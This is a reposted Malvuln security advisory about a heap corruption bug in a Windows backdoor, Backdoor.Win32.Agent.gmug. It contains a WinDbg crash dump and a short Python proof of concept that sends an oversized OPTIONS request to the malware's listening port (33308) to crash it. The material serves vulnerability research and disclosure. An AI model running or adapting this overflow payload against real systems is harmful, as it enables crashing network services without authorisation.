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## https://sploitus.com/exploit?id=PACKETSTORM:162397
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/c7763bae3376a9f2865a1a18e84c259e.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.gmug  
Vulnerability: Heap Corruption   
Description: The malware listens on TCP port 33308, third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption.  
Type: PE32  
MD5: c7763bae3376a9f2865a1a18e84c259e  
Vuln ID: MVID-2021-0194  
Dropped files:   
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 04/29/2021  
  
Memory Dump:  
(1a90.1b4): Unknown exception - code c0000017 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=4f495458 edx=00000053 esi=00000003 edi=00000003  
eip=77aeed3c esp=045ef264 ebp=045ef3f4 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
ntdll!ZwWaitForMultipleObjects+0xc:  
77aeed3c c21400 ret 14h  
  
0:004> .ecxr  
eax=045efba0 ebx=045efc38 ecx=4f495458 edx=00000053 esi=0038f000 edi=00000000  
eip=77b53c59 esp=045efba0 ebp=045efbf8 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246  
ntdll!RtlpAllocateHeapRaiseException+0x3b:  
77b53c59 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:045efbf4=afc7855f  
  
0:004> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe  
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe  
  
FAULTING_IP:   
ntdll!RtlpAllocateHeapRaiseException+3b  
77b53c59 8b4dfc mov ecx,dword ptr [ebp-4]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)  
ExceptionCode: c0000017  
ExceptionFlags: 00000000  
NumberParameters: 1  
Parameter[0]: 4f495458  
  
DEFAULT_BUCKET_ID: HEAP_CORRUPTION  
  
PROCESS_NAME: Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation.  
  
EXCEPTION_PARAMETER1: 4f495458  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
ADDITIONAL_DEBUG_TEXT: Enable Pageheap/AutoVerifer  
  
FAULTING_THREAD: 000001b4  
  
PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION  
  
BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION  
  
LAST_CONTROL_TRANSFER: from 77ac173a to 77b53c59  
  
STACK_TEXT:   
045efbf8 77ac173a 13145ad0 02570000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b  
045efc38 77ac13ee 0000000c 00000000 13145ad0 ntdll!RtlpAllocateHeapInternal+0x33a  
045efc50 13142054 02570000 0000000c 4f49544f ntdll!RtlAllocateHeap+0x3e  
WARNING: Stack unwind information not available. Following frames may be wrong.  
045efc68 1314210c 4f49544f 045efc94 131427b2 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x2054  
045efc74 131427b2 4f49544f 00000008 0258e8e0 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x210c  
045efc94 13145c0e 4f49544f afc78257 045efd24 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x27b2  
045eff80 776f8654 0258e8e0 776f8630 e0881c1e Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x5c0e  
045eff94 77ae4a77 0258e8e0 afc7817b 00000000 kernel32!BaseThreadInitThunk+0x24  
045effdc 77ae4a47 ffffffff 77b09eb3 00000000 ntdll!__RtlUserThreadStart+0x2f  
045effec 00000000 13145ad0 0258e8e0 00000000 ntdll!_RtlUserThreadStart+0x1b  
  
  
STACK_COMMAND: ~4s; .ecxr ; kb  
  
SYMBOL_NAME: heap_corruption!heap_corruption  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: heap_corruption  
  
IMAGE_NAME: heap_corruption  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
  
FAILURE_BUCKET_ID: HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption  
  
BUCKET_ID: APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption  
  
Followup: MachineOwner  
---------  
  
0:004> .exr -1  
ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)  
ExceptionCode: c0000017  
ExceptionFlags: 00000000  
NumberParameters: 1  
Parameter[0]: 4f495458  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=33308  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
A = "OPTIONS / "+"A"*5482  
B = "HTTP/1.1 "  
C="A"*5481  
  
PAYLOAD = A+B+C  
s.send(PAYLOAD)  
s.close()  
  
print("Backdoor.Win32.Agent.gmug / Heap Corruption")  
print("MD5: c7763bae3376a9f2865a1a18e84c259e")  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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